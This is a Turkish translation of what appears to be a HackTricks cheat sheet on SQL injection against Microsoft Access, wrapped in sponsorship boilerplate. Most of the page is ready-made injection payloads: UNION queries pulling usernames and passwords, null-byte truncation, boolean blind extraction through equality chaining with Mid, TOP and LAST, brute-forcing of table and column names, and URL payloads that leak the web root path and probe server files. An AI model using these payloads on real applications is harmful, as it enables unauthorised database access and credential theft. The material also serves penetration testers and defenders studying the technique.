# MS Access SQL Injection
AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **pull request** göndererek paylaşın.
## Çevrimiçi Oyun Alanı
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## DB Sınırlamaları
### Dize Birleştirme
Dize birleştirme işlemi `& (%26)` ve `+ (%2b)` karakterleriyle mümkündür.
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### Yorumlar
MS Access'te yorumlar bulunmamaktadır, ancak görünüşe göre bir sorgunun sonunu NULL karakteriyle kaldırmak mümkündür:
```sql
1' union select 1,2 from table%00
```
Eğer bu çalışmıyorsa, her zaman sorgunun sözdizimini düzeltebilirsiniz:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Yığılmış Sorgular
Desteklenmezler.
### LIMIT
**`LIMIT`** operatörü **uygulanmamıştır**. Bununla birlikte, `TOP` operatörünü kullanarak SELECT sorgusu sonuçlarını **ilk N tablo satırıyla sınırlamak mümkündür**. `TOP`, döndürülecek satır sayısını temsil eden bir tamsayıyı argüman olarak kabul eder.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
TOP gibi **`LAST`** kullanabilirsiniz, bu da **sondaki satırları** alır.
## UNION Sorguları/Alt sorgular
SQLi'da genellikle başka tablolardan bilgi çıkarmak için yeni bir sorgu yürütmek istersiniz. MS Access her zaman **alt sorgularda veya ek sorgularda bir `FROM` belirtilmesini gerektirir**.\
Bu nedenle, bir koşulda `UNION SELECT` veya `UNION ALL SELECT` veya parantez içinde bir `SELECT` yürütmek istiyorsanız, her zaman geçerli bir tablo adıyla bir `FROM` belirtmeniz gerekir.\
Bu nedenle, bir **geçerli tablo adı** bilmelisiniz.
```sql
-1' UNION SELECT username,password from users%00
```
### Eşitlik Zincirleme + Alt Dize
{% hint style="warning" %}
Bu, tablonun adını bilmeye gerek duymadan mevcut tablonun değerlerini dışarı çıkarmanıza olanak sağlar.
{% endhint %}
**MS Access**, **`'1'=2='3'='asd'=false`** gibi garip sözdizimine izin verir. Genellikle SQL enjeksiyonu bir **`WHERE`** ifadesi içinde olacağından, bunu istismar edebiliriz.
Bir MS Access veritabanında SQLi olduğunu ve bir **sütun adının kullanıcı adı** olduğunu bildiğinizi (veya tahmin ettiğinizi) varsayalım ve dışarı çıkarmak istediğiniz alan budur. Eşitlik zincirleme tekniği kullanıldığında web uygulamasının farklı yanıtlarını kontrol edebilir ve **`Mid`** işlevini kullanarak alt dizeleri alarak içeriği potansiyel olarak dışarı çıkarabilirsiniz.
```sql
'=(Mid(username,1,3)='adm')='
```
Eğer dökülecek tablonun ve sütunun adını biliyorsanız, boolean SQLi aracılığıyla tüm bilgileri sızdırmak için `Mid`, `LAST` ve `TOP` arasında bir kombinasyon kullanabilirsiniz:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Online oyun alanında bunu kontrol etmekten çekinmeyin._
### Tablo İsimlerini Kaba Kuvvet Yöntemiyle Bulma
Zincirleme eşitlik tekniğini kullanarak aşağıdaki gibi bir şeyle de **tablo isimlerini kaba kuvvet yöntemiyle bulabilirsiniz**:
```sql
'=(select+top+1+'lala'+from+)='
```
Ayrıca daha geleneksel bir yöntem de kullanabilirsiniz:
```sql
-1' AND (SELECT TOP 1 )%00
```
_Online oyun alanında bunu kontrol etmekten çekinmeyin._
* Sqlmap yaygın tablo adları: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* Başka bir liste [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) adresinde bulunmaktadır.
### Sütun Adlarını Kaba Kuvvet Yöntemiyle Bulma
Mevcut sütun adlarını **eşitlik zinciri hilesiyle kaba kuvvet yöntemiyle bulabilirsiniz**.
```sql
'=column_name='
```
Veya bir **group by** ile:
```sql
-1' GROUP BY column_name%00
```
Veya farklı bir tablonun sütun isimlerini brute-force yöntemiyle deneyebilirsiniz:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Veri dökümü
Zaten [**eşitlik zinciri tekniğini**](ms-access-sql-injection.md#chaining-equals-+-substring) **mevcut ve diğer tablolardan veri dökümlemek için** tartıştık. Ancak başka yollar da vardır:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
Kısacası, sorgu başarılı olduğunda "200 OK" tetiklemek için bir "if-then" ifadesi kullanır veya aksi halde "500 Internal Error" tetikler. TOP 10 operatöründen faydalanarak ilk on sonucu seçmek mümkündür. LAST'in ardından kullanılan, sadece 10. tuple'ı dikkate almayı sağlar. Bu değeri kullanarak MID operatörü kullanarak basit bir karakter karşılaştırması yapılabilir. MID ve TOP'un dizinini uygun şekilde değiştirerek, tüm satırlar için "username" alanının içeriğini alabiliriz.
### Zaman Temelli
[https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN) adresinde kontrol edin.
### Diğer İlginç fonksiyonlar
* `Mid('admin',1,1)` 1. pozisyondan 1 uzunluğunda alt dize alır (başlangıç pozisyonu 1'dir)
* `LEN('1234')` dizenin uzunluğunu alır
* `ASC('A')` karakterin ascii değerini alır
* `CHR(65)` ascii değerinden dize alır
* `IIF(1=1,'a','b')` eğer sonra
* `COUNT(*)` Öğe sayısını sayar
## Tabloları Numaralandırma
[**Buradan**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) tablo isimlerini almak için bir sorgu görebilirsiniz:
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
Ancak, SQL Enjeksiyonlarına **`MSysObjects` tablosunu okuma erişiminizin olmadığı** durumlar çok yaygındır.
## Dosya Sistemi Erişimi
### Web Kök Dizin Tam Yolu
**Web kök dizininin mutlak yolunu bilmek**, daha fazla saldırıyı kolaylaştırabilir. Uygulama hataları tamamen gizlenmediyse, dizin yolunu ortaya çıkarmak için mevcut olmayan bir veritabanından veri seçmeye çalışarak bulunabilir.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access, **web dizini tam yolunu içeren bir hata mesajıyla yanıt verir**.
### Dosya Numaralandırma
Aşağıdaki saldırı vektörü, **uzak dosya sisteminde bir dosyanın varlığını çıkarabilir**. Belirtilen dosya varsa, MS Access, veritabanı formatının geçersiz olduğunu bildiren bir hata mesajı tetikler:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Dosyaların numaralandırılması için başka bir yol, **bir veritabanı.tablo öğesi belirtmektir**. **Belirtilen dosya varsa**, MS Access, **bir veritabanı formatı hatası mesajı** görüntüler.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb Dosya Adı Tahmini
**Veritabanı dosya adı (.mdb)** aşağıdaki sorgu ile tahmin edilebilir:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Burada **name\[i] bir .mdb dosya adıdır** ve **realTable veritabanında mevcut bir tablodur**. MS Access her zaman bir hata mesajı tetikleyeceği için, geçersiz bir dosya adı ile geçerli bir .mdb dosya adı arasında ayrım yapmak mümkündür.
### .mdb Şifre Kırıcı
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html), Microsoft Access 95/97/2000/XP veya Jet Database Engine 3.0/4.0'in ana veritabanı şifresini kurtarmak için kullanılan ücretsiz bir araçtır.
## Referanslar
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.